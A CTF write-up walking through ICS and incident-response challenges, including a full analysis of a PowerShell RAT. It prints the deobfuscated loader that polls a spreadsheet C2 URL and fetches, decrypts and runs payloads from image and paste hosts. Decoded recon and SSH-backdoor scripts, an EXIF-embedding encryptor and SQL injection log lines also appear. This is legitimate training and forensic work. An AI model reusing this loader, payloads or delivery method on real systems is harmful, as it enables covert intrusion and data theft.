Summary
This was a really cool CTF! It was put on by HouSecCon (Hou.Sec.Con) and Idaho National labs. A few things I really liked about it:
- Ran for 5 days!!! I like CTFs at events but it’s often hard to balance catching some talks and socializing and trying to get those flags. This was awesome that the event opened before the event and ran through it!
- No time-gated challenges. I don’t really like when CTFs wait until day 2 to release day 2 challenges – especially if there are many – as it can be disruptive to planning. I’m fine with challenge-gated challenges (complete some chal to see the next chal or category) but find the ones where you have to wait to be really annoying; let us use the time we have as best as possible! Fortunately, this con was great and didn’t have any of that.
- They kept the portal up for a few days after the event which let me put this together! It’s really nice when events are able to do this.
- Lots of challenges!
- Educational challenges! These aren’t maybe the ‘best’ for competitive CTFs but one of the main reasons to do CTFs is to learn and I feel like they did a good job including basic log questions with information to teach you how things like bodbus and bacnet and other protocols work. Some of the harder challenges also did a great job with having the challenges also require learning a bit more about how the protocols or other things work.
- The only con I’ll note is that there weren’t more people participating! It was a super stable and great event, would love to see more people try it out next year!
Final scores!
Huge congrats to CoB for a late night rally and taking the win!
Challenges
There were upwards of 100 challenges in the event broken into 5 main categories. There was a ‘foundational’ category and the other four were largely scenario driven challenges.
I’ll run through each section (except CTF introduction as it had only one throwaway questions) and walk through the questions. I’ll also combine a series of intro/outro questions as the very bottom These are the ones with ‘introduction’ or ‘conclusion’ in the title, they are often just 5 points and not really ctf-y.
With that, let’s dive in! This will be long so use the ToC to navigate between sections!
Security Foundations
Here’s the breakdown of the security foundations section.
Malcolm 1 to 10
Intro: I’m not going to go into detail on most of these nor include the full screenshots to save screen space. The gist of these challenges was to use Malcolm, Arkime, or Netbox to answer questions based on a security logging solution.
Question 1
I’ll include a little context on this question so you can see how the others are worked through:
First, the Malcolm main dashboard page:
From this you can see on the left a number of different dashboards defined, clicking those will have a page similar to this but with a variety of different filters and representations. In essence though, it is basically a big excel document with a bunch of tables and filters. The questions are primarily answered by finding the right dashboard and searching. Or, if you’re familiar with Lucene queries and zeek/suricata format, you can search directly for those.
For the first question – what is the most common protocol – you can look in the center ‘Application Protocol’ table to find that it’s bacnet.
Question 2
This question was asking the PDU reference number of the PLC Stop
command. This is the field to look for: zeek.s7comm.pdu_reference
Question 3
In this one, we’re asked to find an uninventoried internal IP address which doesn’t have a corresponding record in Netbox.
Question 4
This question wants you to then find name of a device with a certain IP address. This is just done by finding the DNS record associated with the device in either Malcolm or Netbox.
Question 5
This challenge wants to find the plaintext flag from Arkime (a network analysis/pcap tool) for the event with communityId == "1:CCK9Wlj28QKStcTUdN6aNpm2f0w="
This can be done by searching in Arkime and looking at the packet details.
Question 6
This question asks for the cleartext password from an FTP session. In Malcolm you can filter for FTP traffic with this:
You can then look for packets containing the username/password and get the flag there:
Question 7
The next question looks into that FTP session and wants you to use Arkime to get the file and find the flag in the image.
Arkime has an ‘extracted-files’ place where you can download the binaries from. You can find the FTP transferred files here (a jpg) and it contains the flag.
Question 8
The next question is more Malcolm digging: What is the Status Code Link ID
(zeek.opcua_binary_status_code_detail.status_code_link_id) for the packet with “OPCUA Binary – Action” CreateMonitoredItems
?
Question 9
And more searching – What is the Community ID for the DNP3 communication containing the Read
function request?
Question 10
And finally one more Malcolm query: The GENISYS
parser extracts payload information, such as addresses and data, for Indication Data
events.
Within the captured network traffic, how many Indication Data
payloads contain address 28
?
ICS & Security Basics
Question 1
There are several challenges in this category, they contain basic challenges for the following topics:
- Forensics
- Data Encoding
- Cryptography
- Web
- Ladder Logic
For all of this category (plus the 50 point CTF Intro challenge, we get: 960 points
Okay, that was the intro section, the rest will have more detail!
Celestic
This is the first big scenario challenge we unlock, it contains an SBOM scenario, an EternalBlue logging scenario, and a 7-part PowerShell exploit & C2 scenario.
SBOM Scenario
Dropping BOMs – 1
This challenge is pretty straight forward, we’re given these two json SBOM files: https://drive.google.com/file/d/1m6a3ICgKQIU_3CkaiiIEs9GUKer9pIgj/view?usp=sharing
We can analyze these files and search for netata (in the magnezone file) and we find the answer here:
Dropping BOMs – 2
This one is a little more involved. We have to read the Magnezone SBOM and then search for each package in Electivire SBOM, the difference is the answer.
Dropping BOMs – 3
This one is a bit different. We are given a ‘bin’ file, we can use binwalk to extract the data in the binary, we find a squashFS filesystem. Then we can mount or extract the files of this which will give us a little filesystem to look around.
I used grep -R for ‘netdata’ and got a lot of output, most if it pointed to /usr/share/netdata. I went to /usr and saw ‘bin’ and ‘sbin’ directories. On checking ‘sbin’ I found the binary and ran the sha256sum command to get the hash.
Remotely Exploitative
These challenges required looking into Malcolm to answer some questions about a system which was compromised.
Remotely Exploitative – 1
I looked for destinations in that range and sorted by # of packets. From there I found the scanning IP, I then filtered for that as a source and looked for connections which completed (not half-open) to find the open ports.
Remotely Exploitative – 2
I think I just looked through the traffic logs of the last answer and added ‘CVE’ to my search and found out that it was the EternalBlue CVE.
Remotely Exploitative – 3
I can’t remember the answer but I think I just filtered based on traffic from the compromised machine to the attacker machine and found the port which was listening on the attacker’s machine.
RAT from powersHELL
These questions were my favorite of this section and went through a full analysis of a compromised system and was much more technical than the others.
RAT from powersHELL – 1
File available here: https://drive.google.com/file/d/1uCNOgN9gMWTP0zmhYy-lSlPIDiSONCPD/view?usp=sharing
For this, I just filtered for all of the lines with ‘imagepath’ to see what the binaries were and got this:
<imagepath>c:\windows\system32\rdpclip.exe</imagepath>
<imagepath>c:\windows\system32\userinit.exe</imagepath>
<imagepath>c:\windows\explorer.exe</imagepath>
<imagepath>c:\windows\system32\cmd.exe</imagepath>
<imagepath>c:\program files\windows defender\msascuil.exe</imagepath>
<imagepath>c:\program files\bedrock ide 1.12\gatewayplc\codesyscontrolsystray.exe</imagepath>
<imagepath>c:\program files\bedrock ide 1.12\gatewayplc\gatewaysystray.exe</imagepath>
<imagepath>c:\program files (x86)\codemeter\runtime\bin\codemetercc.exe</imagepath>
<imagepath>c:\users\barry\downloads\updater.cmd</imagepath>
<imagepath>c:\windows\system32\unregmp2.exe</imagepath>
<imagepath>c:\windows\system32\themeui.dll</imagepath>
<imagepath>c:\windows\system32\unregmp2.exe</imagepath>
<imagepath>c:\windows\system32\shell32.dll</imagepath>
<imagepath>c:\windows\system32\ie4uinit.exe</imagepath>
<imagepath>c:\windows\system32\mscories.dll</imagepath>
<imagepath>c:\windows\syswow64\unregmp2.exe</imagepath>
<imagepath>c:\windows\syswow64\unregmp2.exe</imagepath>
<imagepath>c:\windows\syswow64\mscories.dll</imagepath>
<imagepath>c:\windows\system32\iconcodecservice.dll</imagepath>
<imagepath>c:\users\celestic\appdata\local\microsoft\onedrive\onedrive.exe</imagepath>
<imagepath>c:\users\celestic\appdata\local\microsoft\onedrive\onedrive.exe</imagepath>
Looking at this, one item seemed really suspicious: “c:\users\barry\downloads\updater.cmd”
RAT from powersHELL – 2
This is where things got more interested. This powershell file was heavily obfuscated and I had tried a few things before giving up and using PowerDecode to try to decipher what was going on.
The decoded script looked like this:
set ("ObAiz9") ([tyPe]'sySTEM.rUntime.iNteropSeRvICes.mARshaL' ) ;${lCoTn}=[tYPE]'SYsTEm.cOnVERt'; ${HX2pU0} = [TYpe]'sYsTeM.TEXt.eNcoDING'; SEt 'j1V8t' ( [TyPE]'SYStEM.IO.fiLE' ); function gETcipheRTeXT {
param(${iMAGE})
${tMp} = Get-ChildItem ${ImAGE}
${pathNaME} = ${Tmp}.DIrEctoRynAmE
${FIleNaMe} = ${TMP}.NAme
${CIPherTEXT} = ""
try{
${sheLLOBJ} = New-Object -ComObject 'Shell.Application'
${FolDERoBJ} = ${shELLOBj}.namespace.Invoke(${pAThNAmE})
${FIlEoBj} = ${FOlDeRobJ}.parsename.Invoke(${FIleNAme})
${CipheRTExt} += ${foLdERobj}.getDetailsOf.Invoke(${fileoBJ}, 30)
${CIpHertEXT} += ${folDERobj}.getDetailsOf.Invoke(${FiLEoBJ}, 32)
}finally{
if(${SHElLobJ}){
( VarIAbLe ("oBaIZ9") -ValueoNly )::"RELEAsEcomobjeCT"([System.__ComObject]${SheLloBj}) | out-null
}
}
return ${CiPhERTExT}
}
function decRYpt{
Param
(
[Parameter(MaNDatorY=${tRUE}, PoSItion=0)]
[byte[]] ${kEY},
[Parameter(MAndatORY=${tRUe}, pOSItiOn=1)]
[string] ${cIpheRTexT}
)
${AEScIPHER} = New-Object 'System.Security.Cryptography.AesCryptoServiceProvider'
${aeSCIPHER}.kEY = ${KEY}
${cIPhERTExtByTeS} = ( VARIAble 'lCotN' ).ValuE::'FromBase64String'.Invoke(${cIpHerTEXt})
${aEScIpHeR}.iV = ${ciPheRTexTbYTES}[0..15]
${DecryptOr} = ${aEscIPHEr}.CreateDecryptor.Invoke();
${UNEnCrypTedBYTes} = ${dECrYPToR}.TransformFinalBlock.Invoke(${CIphERTexTByteS}, 16, ${cipHERTEXtBYTeS}.leNGTH - 16)
${aesCipHEr}.Dispose.Invoke()
return ${UNENCRYPTedBYtes}
}
function RUN{
Param
(
[Parameter(mANDaToRY=${tRUE}, PosITiON=0)]
[string] ${PArtIaLKEY},
[Parameter(MandAtORy=${TRuE}, POsiTIon=1)]
[string] ${ImAGeurl}
)
${Null} = New-Item -Path (('.{0}tmp') -F'\') -ItemType 'Directory'
${HEXkEY} = 'BE7BFDDEFA5A56B95D6A0B9A55586D57' + ${pArTiALkeY}
${kEY} = [byte[]] (${HexKEY} -replace '..', (('0x{0}&,')-F '$') -split ',' -ne '')
${imAgE} = 'https://i.ibb.co/' + ${imagEURL} + '/ruins.jpg'
Invoke-WebRequest -URI ${iMAGe} -OutFile (('.Y4ltmpY4ltmp.jpg') -CrePlACE('Y4l'),'\')
${CipHERtEXt} = GetCiphertext (('.{0}tmp{0}tmp.jpg') -f'\')
${uNeNcRYptEDbyTEs} = Decrypt ${kEY} ${CiPhERTeXt}
${PLAiNteXT} = (VAriaBLE ("HX2PU0")).vAlUE::"utF8".GetsTRINg(${uNEncrYPtEDbYTes})
${PlAINTeXt} | Out-File -FilePath '.\tmp\tmp.ps1'
.(('.{0}tmp{0}tmp.ps1') -F '\')
Remove-Item '.\tmp' -Recurse
}
function RUNexE {
Param
(
[Parameter(MANdaToRy=${TrUe}, POsiTIon=0)]
[string] ${pARTIAlKey},
[Parameter(mandAtoRy=${trUE}, pOsitIOn=1)]
[string] ${fILeUrL}
)
${tarGETdiR} = (('C:EtMWindowsEtMTempEtMconfigEtM') -REpLacE 'EtM','\')
if( -Not (Test-Path -Path ${tARgeTDIr} ) ){
${nUlL} = New-Item -Path ${tARGeTdIr} -ItemType 'Directory'
}
${heXKEy} = ${pARTIAlkEy} + '283FF031EACE2E7B117950F49E62FA23'
${kEY} = [byte[]] (${hEXkEy} -replace '..', ((('0xdGH&,') -crEplacE'dGH','$')) -split ',' -ne '')
${pAsTEBINURL} = 'https://pastebin.com/raw/' + ${FiLEurL}
${cIphErTeXT} = (Invoke-WebRequest -Uri ${pAStEbINUrl}).CONTeNt
${PlAiNTExT} = Decrypt ${KEy} ${cIPHeRText}
${filenAme} = ${tARGEtDIr} + ${fILeUrl} + '.exe'
( Get-VARIAble 'J1V8T' -vaLuEOn )::'WriteAllBytes'.Invoke(${fILEnamE}, ${PLaInTEXt})
Start-Process ${fiLenAmE}
Write-Host 'Finished!'
}
${CoMmAnDsURl} = 'https://docs.google.com/spreadsheets/d/e/2PACX-1vSMvk4ESgNNMjJGyYgLXKxajAoHakXXwZfqN9mLgfxRVWI7ja6oo7BdrSqWXhjeadfnptgPljFRvmrb/pub?output=csv'
${laSTcOmmAND} = ""
while (${tRUe}) {
${reSPOnsE} = Invoke-WebRequest -URI ${COMMaNdSUrL}
${cOMMaNds} = ${RESpoNSe} -split "\n"
${cURRENTCOMmANd} = ${coMmANds}[${COmMANdS}.CoUNT - 1]
${DaTE}, ${uRl}, ${TYpE}, ${kEY} = ${CuRReNTCommaNd} -split ","
if (${laSTCOMmAND} -ne ${DATe}) {
${laSTcOmManD} = ${DATE}
if ( ${tYpE} -eq "ps1" ){
Write-Host 'New command'
Run${kEY} ${URl}
}elseif( ${TyPe} -eq "exe" ){
Write-Host 'New EXE command'
RunExe ${Key} ${URL}
}else{
Write-Host 'New UNKNOWN command'
}
}else{
Write-Host 'No new command'
}
Start-Sleep -Seconds 1800
}
The ‘CommandsURL’ appears to be the C2 url and is here: https://docs.google.com/spreadsheets/d/e/2PACX-1vSMvk4ESgNNMjJGyYgLXKxajAoHakXXwZfqN9mLgfxRVWI7ja6oo7BdrSqWXhjeadfnptgPljFRvmrb/pub?output=csv
RAT from powersHELL – 3a
These were the entries in the csv:
2023/05/04 08:05:27,rmDjMQB,ps1,129FDD7728D8B91E3B19291212BABCFF
2023/05/04 08:52:00,yUj8kcy,ps1,4C8C3F9D203EF1F7CD65B084F3DCB841
2023/05/04 09:38:28,ncBGMJjg,exe,A3E07D50DB00B8419443EC699E44BD33
2023/05/04 10:22:55,nhg4Ks2u,exe,BDC8238D54DF00B0994CF51EFFD81BA2
2023/05/04 11:07:52,OuZEXOL,ps1,038B6E6AA564BEE38E1E418F4BCA3E63
2023/05/04 11:53:06,Ax5WDqB,ps1,581DE9B4E2501247C3B5DFAB0103A29A
2023/05/04 12:30:33,qY0MWADe,exe,DAB1FC0E4F35EF885AEF1510C512AA25
2023/05/04 13:16:44,Jyy8SXm,ps1,3F963CCAEF79A49FDD851BFE943131F3
2023/05/04 13:54:30,KB3uX5eD,exe,23DF13F9B6CF1409A4A30C4709D81E9C
2023/05/04 14:32:20,cl7131y,ps1,07777B86367536149F6AE0D430F01902
2023/05/04 15:13:45,YtAhpSh,ps1,23C68759AE97B978D0DDFC19791C6AF8
I wrote this script in order to go and download the data from each as well as the associated keys, etc.
import os
import requests
def read_values(file_path):
with open(file_path, 'r') as f:
lines = f.readlines()
# Skip the first line if it's a header
if lines and lines[0].strip().lower().startswith('value:'):
lines = lines[1:]
values = []
for line in lines:
parts = line.strip().split(',')
if len(parts) == 4:
values.append(parts)
return values
def download_and_save(date, base64_name, file_type, partial_key):
folder_name = base64_name
os.makedirs(folder_name, exist_ok=True)
try:
if file_type == 'ps1':
url = f'https://i.ibb.co/{base64_name}/ruins.jpg'
file_name = os.path.join(folder_name, "target.jpg")
elif file_type == 'exe':
url = f'https://pastebin.com/raw/{base64_name}'
file_name = os.path.join(folder_name, "target.txt")
response = requests.get(url)
response.raise_for_status()
with open(file_name, 'wb') as f:
f.write(response.content)
# Save metadata
metadata = f"Date: {date}\nType: {file_type}\nPartial Key: {partial_key}"
with open(os.path.join(folder_name, "metadata.txt"), 'w') as f:
f.write(metadata)
return True
except Exception as e:
print(f"Error downloading {base64_name}: {str(e)}")
return False
def main():
values = read_values('values.txt')
if not values:
print("No valid entries found in values.txt")
return
successful = 0
failed = 0
for value in values:
date, base64_name, file_type, partial_key = value
print(f"Downloading: {base64_name}")
if download_and_save(date, base64_name, file_type, partial_key):
print(f"Successfully downloaded: {base64_name}")
successful += 1
else:
failed += 1
print(f"\nDownload complete. Successful: {successful}, Failed: {failed}")
if __name__ == "__main__":
main()
After I had those files, I wrote another script to decode the ones which contain powershell using the following script. This was based on looking at how the initial PowerShell deobfuscated script would take and decode the payloads.
from PIL import Image
from PIL.ExifTags import TAGS
import base64
from Crypto.Cipher import AES
import os
def get_exif_data(image_path):
with Image.open(image_path) as image:
exif_data = {}
info = image._getexif()
if info:
for tag_id, value in info.items():
tag = TAGS.get(tag_id, tag_id)
exif_data[tag] = value
return exif_data
def decrypt_data(ciphertext, key):
if len(ciphertext) < 16:
raise ValueError("Ciphertext is too short")
iv = ciphertext[:16]
encrypted_data = ciphertext[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(encrypted_data)
return decrypted_data
def main():
image_path = "downloads/rmDjMQB/target.jpg"
# Read the partial key from metadata
with open('downloads/rmDjMQB/metadata.txt', 'r') as f:
for line in f:
if line.startswith('Partial Key:'):
partial_key = line.split(':')[1].strip()
break
full_key = bytes.fromhex("BE7BFDDEFA5A56B95D6A0B9A55586D57" + partial_key)
exif_data = get_exif_data(image_path)
# Combine ciphertext from multiple fields
ciphertext = ""
if 'Model' in exif_data:
ciphertext += exif_data['Model']
if 'Make' in exif_data:
ciphertext += exif_data['Make']
print(f"Extracted ciphertext: {ciphertext}")
try:
decoded_data = base64.b64decode(ciphertext)
print(f"Length of decoded data: {len(decoded_data)}")
print(f"First 16 bytes: {decoded_data[:16].hex()}")
decrypted_data = decrypt_data(decoded_data, full_key)
print("Decrypted data:")
# Try to decode as UTF-8, but if it fails, print as bytes
try:
print(decrypted_data.decode('utf-8', errors='ignore'))
except UnicodeDecodeError:
print("Failed to decode as UTF-8. Printing as bytes:")
print(decrypted_data)
# Create tmp directory if it doesn't exist
os.makedirs('tmp', exist_ok=True)
# Save the decrypted data to a file
output_path = os.path.join('tmp', 'tmp2.ps1')
with open(output_path, 'wb') as f:
f.write(decrypted_data)
print(f"\nDecrypted data saved to {output_path}")
except Exception as e:
print(f"Error during decryption: {str(e)}")
if __name__ == "__main__":
main()
This resulted in the following output:
New-Item -Path ".\config" -ItemType Directory
net config Workstation | Out-File -FilePath .\config\recon.txt -Append
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" | Out-File -FilePath .\config\recon.txt -Append
hostname | Out-File -FilePath .\config\recon.txt -Append
net users | Out-File -FilePath .\config\recon.txt -Append
ipconfig /all | Out-File -FilePath .\config\recon.txt -Append
route print | Out-File -FilePath .\config\recon.txt -Append
arp -A | Out-File -FilePath .\config\recon.txt -Append
netstat -ano | Out-File -FilePath .\config\recon.txt -Append
netsh firewall show state | Out-File -FilePath .\config\recon.txt -Append
netsh firewall show config | Out-File -FilePath .\config\recon.txt -Append
schtasks /query /fo LIST /v | Out-File -FilePath .\config\recon.txt -Append
tasklist /SVC | Out-File -FilePath .\config\recon.txt -Append
net start | Out-File -FilePath .\config\recon.txt -Append
DRIVERQUERY | Out-File -FilePath .\config\recon.txt -Append
Compress-Archive -Path .\config -DestinationPath .\config.zip
$base64string = [Convert]::ToBase64String((Get-Content -Path .\config.zip -Encoding byte))
Remove-Item .\config* -Recurse
Send-MailMessage -From 'Absol <[email protected]>' -To 'Cecilia <[email protected]>' -Subject 'Daily Update' -Body $base64string -Priority High -SmtpServer 'snowpoint.mailserver.snow'
From here, we can see that the script will ultimately send a message to ‘[email protected]’ which is our flag.
RAT from powersHELL – 3b
Similar to the last one, we need to decode the other PowerShell scripts and see if we can find the new password.
The other ‘ruins.jpg’ from the other ps1 command can be decoded in the same way just by replacing the key & the identifier. This decoding results in this file:
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType 'Automatic'
$password = ConvertTo-SecureString "m00dybIb@r3L400" -AsPlainText -Force
Set-ADAccountPassword -Identity bidoof -NewPassword $password -Reset
if (!(Get-NetFirewallRule -Name "OpenSSH-Server-In-TCP" -ErrorAction SilentlyContinue | Select-Object Name, Enabled)) {
Write-Output "Firewall Rule 'OpenSSH-Server-In-TCP' does not exist, creating it..."
New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22
} else {
Write-Output "Firewall rule 'OpenSSH-Server-In-TCP' has been created and exists."
}
We can see that the new password is m00dybIb@r3L400
RAT from powersHELL – 3c
For this, I needed to write a slightly different decoding script to get the binary from the payload instead of extracting powershell from a jpg.
I wrote this script to accomplish that:
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import os
def decrypt_data(ciphertext, key):
if len(ciphertext) < 16:
raise ValueError("Ciphertext is too short")
iv = ciphertext[:16]
encrypted_data = ciphertext[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(encrypted_data)
# Remove padding
return unpad(decrypted_data, AES.block_size)
def main():
# Read the partial key from metadata
with open('downloads/ncBGMJjg/metadata.txt', 'r') as f:
for line in f:
if line.startswith('Partial Key:'):
partial_key = line.split(':')[1].strip()
break
# Construct the full key
full_key = bytes.fromhex(partial_key + "283FF031EACE2E7B117950F49E62FA23")
# Read the ciphertext from target.txt
with open('downloads/ncBGMJjg/target.txt', 'r') as f:
ciphertext = f.read().strip()
print(f"Extracted ciphertext: {ciphertext[:50]}...") # Print first 50 chars
try:
# Remove any whitespace or newlines before decoding
ciphertext = ''.join(ciphertext.split())
decoded_data = base64.b64decode(ciphertext)
print(f"Length of decoded data: {len(decoded_data)}")
print(f"First 16 bytes: {decoded_data[:16].hex()}")
decrypted_data = decrypt_data(decoded_data, full_key)
print("Decrypted data (first 100 bytes):")
print(decrypted_data[:100])
# Create tmp directory if it doesn't exist
os.makedirs('tmp', exist_ok=True)
# Save the decrypted data to a file
output_path = os.path.join('tmp', 'decoded5.exe')
with open(output_path, 'wb') as f:
f.write(decrypted_data)
print(f"\nDecrypted EXE saved to {output_path}")
# Print MD5 hash of the output file
import hashlib
with open(output_path, 'rb') as f:
md5_hash = hashlib.md5(f.read()).hexdigest()
print(f"MD5 hash of {output_path}: {md5_hash}")
except Exception as e:
print(f"Error during decryption: {str(e)}")
if __name__ == "__main__":
main()
We got what appeared to be a success:
python3 .\decode_exe.py
Extracted ciphertext: Y5QQ4KhvN9ZcdtjcRycB4r0rvHsD3uCXB2oSqtLkMC874gBLvG...
Length of decoded data: 27680
First 16 bytes: 639410e0a86f37d65c76d8dc472701e2
Decrypted data (first 100 bytes):
b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\t\xcd!\xb8\x01L\xcd!This program cannot be'
Decrypted EXE saved to tmp\decoded5.exe
MD5 hash of tmp\decoded5.exe: 5da8c98136d98dfec4716edd79c7145f
RAT from powersHELL – 4
Up until now we had just been decoding how the C2 worked and deciphering the payloads, now we are tasked to use the C2 to ‘fix’ the system! We’re given a place to upload the jpg to make sure it works. Here are the base files they provide: https://drive.google.com/drive/folders/1gsZxX4Rulhl2qZNMgF-44PwFo5x9BkpZ?usp=sharing
I then wrote this script to encode and then hide the script in the jpg properly.
import os
import base64
from Crypto.Cipher import AES
from PIL import Image
from PIL.ExifTags import TAGS
def get_exif_dict(image_path):
image = Image.open(image_path)
exif_data = image._getexif()
if exif_data:
return {TAGS.get(tag_id, tag_id): value for tag_id, value in exif_data.items()}
return {}
def set_exif_data(image_path, model, make):
image = Image.open(image_path)
exif_data = image.getexif()
# Find the tag IDs for 'Model' and 'Make'
model_tag = None
make_tag = None
for tag_id, tag_name in TAGS.items():
if tag_name == 'Model':
model_tag = tag_id
elif tag_name == 'Make':
make_tag = tag_id
if model_tag and make_tag:
break
if model_tag:
exif_data[model_tag] = model
if make_tag:
exif_data[make_tag] = make
image.save(image_path, exif=exif_data)
def encrypt_script(script_path, full_key):
with open(script_path, 'rb') as f:
plaintext = f.read()
cipher = AES.new(full_key, AES.MODE_CBC)
ciphertext = cipher.iv + cipher.encrypt(pad(plaintext, AES.block_size))
encoded_ciphertext = base64.b64encode(ciphertext).decode('utf-8')
return encoded_ciphertext
def pad(data, block_size):
padding_length = block_size - len(data) % block_size
padding = bytes([padding_length] * padding_length)
return data + padding
def embed_ciphertext_into_exif(image_path, ciphertext):
# Split ciphertext into two parts for 'Model' and 'Make'
model = ciphertext[:len(ciphertext)//2]
make = ciphertext[len(ciphertext)//2:]
set_exif_data(image_path, model, make)
def main():
# Paths
script_path = 'test/restore_machine.ps1'
image_path = 'test/ruins.jpg'
# Keys
fixed_key = "BE7BFDDEFA5A56B95D6A0B9A55586D57"
partial_key = "70D4DE3A4C4A04799D1C6226CF9FF325" # From CSV
full_key_hex = fixed_key + partial_key
full_key = bytes.fromhex(full_key_hex)
# Encrypt the script
ciphertext = encrypt_script(script_path, full_key)
# Embed into EXIF
embed_ciphertext_into_exif(image_path, ciphertext)
print("Encrypted script embedded into ruins.jpg successfully.")
if __name__ == "__main__":
main()
This then let me upload the file and get the flag!
RAT from powersHELL – 5
Finally, our last challenge was to decrypt this directory based on info from one of the other hidden commands in the csv / images/binaries.
The zip file is here: https://drive.google.com/file/d/1X1cWcy0RxyWiS_YxLa0b2dijOpK5S8WF/view?usp=sharing
We find that another of the encoded commands encrypted a file by xor-ing against 0x80. I wrote this script to decode it:
import os
import sys
def generate_key(filename):
key = 0x80
for i, char in enumerate(filename):
if i % 4 == 0:
key |= ord(char)
elif i % 4 == 1:
key &= ord(char)
elif i % 4 == 2:
key += ord(char)
else: # i % 4 == 3
key -= ord(char)
return key & 0xFF
def decrypt_file(filename):
key = generate_key(os.path.basename(filename))
with open(filename, 'rb') as f:
data = f.read()
decrypted = bytearray()
prev_byte = 0
for byte in data:
decrypted_byte = byte ^ key ^ prev_byte
decrypted.append(decrypted_byte)
prev_byte = byte
with open(filename, 'wb') as f:
f.write(decrypted)
def main():
if len(sys.argv) < 2:
print("Usage: python decrypt.py <file1> [file2] ...")
return
for filename in sys.argv[1:]:
print(f"Decrypting {filename}...")
decrypt_file(filename)
print(f"Decryption complete for {filename}")
if __name__ == "__main__":
main()
This results in a sensitive_data.txt file:
Backup Passwords
----------------
eCgWEBWm9sU@!4Lj
a4Edw^#rX2Zav#qN
LUPgbVq#bk*Kj89?
h?Htfx?R8ZmV6Y5$
W94w?PdGd7^_NS^m
2FA Recovery Codes
------------------
18e72-bdc8b
751b1-f1e7e
29c2e-d1fa7
7075a-4cf35
01843-7125b
2005a-69403
b277c-5832c
745ef-e5b3a
We can use the above to get our recovery code and the final flag!
I enjoyed this powersHELL section a ton and it was my favorite of the Celestic scenario.
Total Points: 2765 (minus ‘Elite Four’ challenge)
Jubilife
Jubilife was broken into the following scenarios:
- An Alarming BAC(net) Pain – analysis of BACnet traffic in Jubilife’s building management system
- The Historian Channel – analysis of historian Apache logs to detect adversarial presence and attacks
- Chrome-Plated Nonsense – analysis of malicious Google Chrome extensions
An Alarming BAC(net) Pain
An Alarming BAC(net) Pain – 1
Log into Malcolm and look around:
An Alarming BAC(net) Pain – 2
Look around in Malcolm some more:
An Alarming BAC(net) Pain – 3
Even more Malcolm digging…
An Alarming BAC(net) Pain – 4
This is the config file:
// Configuration File
// object-name, ip-address, firmware-revision, application-software-version
DEVICE
{
CONFIG 1("fire-suppression", "10.120.50.12", "1.6.1", "5.4", "fire-suppression")
}
//object-name, setpoint, description, location, password
BINARY
{
BINARY 1( "HD-OF", 135.0, "Heat Detector - Office", "Office", "a3e0f5587d")
BINARY 2( "HD-BR", 135.0, "Heat Detector - Break Room", "Break Room", "188c23496f")
BINARY 3( "HD-LA", 135.0, "Heat Detector - Lab A", "Lab A", "83994245cc")
BINARY 4( "HD-LB", 72.4, "Heat Detector - Lab B", "Lab B", "927ab89245")
BINARY 5( "HD-LC", 135.0, "Heat Detector - Lab C", "Lab C", "035a9a360d")
BINARY 6( "SD-OF", 100.0, "Smoke Detector - Office", "Office", "113c17119a")
BINARY 7( "SD-BR", 100.0, "Smoke Detector - Break Room", "Break Room", "ddf5cd93ea")
BINARY 8( "SD-LA", 100.0, "Smoke Detector - Lab A", "Lab A", "c4bb43f281")
BINARY 9( "SD-LB", 100.0, "Smoke Detector - Lab B", "Lab B", "e1009ad76f")
BINARY 10( "SD-LC", 100.0, "Smoke Detector - Lab C", "Lab C", "8db63ca33c")
BINARY 11( "VENT-OF", 1, "Ventilation - Office", "Office", "2ef6eb06e4")
BINARY 12( "VENT-BR", 1, "Ventilation - Break Room", "Break Room", "9951f86bb7")
BINARY 13( "VENT-LA", 1, "Ventilation - Lab A", "Lab A", "4bdc82fd9d")
BINARY 14( "VENT-LB", 1, "Ventilation - Lab B", "Lab B", "f7b63ea4c3")
BINARY 15( "VENT-LC", 1, "Ventilation - Lab C", "Lab C", "37ab38cb4f")
}
We can use that to get the password for the device which was configured to set the wrong temperature. I don’t have screenshots of the Malcolm searches but I believe it was the one with the value: 927ab89245
The Historian Channel
The Historian Channel – 1
This challenge revolved around this access log file: https://drive.google.com/file/d/1w0ODdnp-g5Dx0Bl6TJ6QwLqiz5m9O3-1/view?usp=drive_link
I took out all of the post & get traffic to see what was going on. It was clear there was one IP who tried to log in a lot. For most users it looked like you sent a POST to /login.php and then you would redirect to index.php. For 192.168.4.146 they seemed to be redirected to login.php again and again. The last attempt seemed to have worked and was at 12:22:50.
The Historian Channel -2
To solve this one, I filtered out all traffic from 192.168.4.146 & removed noise (css, login page, 404s, etc.) There was one file which was weird and which had a 200 code:
There were 404s of other config file extensions just prior so it doesn’t seem ‘normal’ therefore this was the attempted flag.
The Historian Channel – 3
Continuing on from that part in the log, we can see a lot of SQL-ish looking lines. I extracted only the ones with ‘delete’ in them and got a big mess of lines:
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742353931%27%20as%20TEXT)%3B--&Submit=Submit" 500 269 "http://jubilifehistorian/alarms.php"
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313733%27%20as%20TEXT)%3B--&Submit=Submit" 500 295 "http://jubilifehistorian/alarms.php"
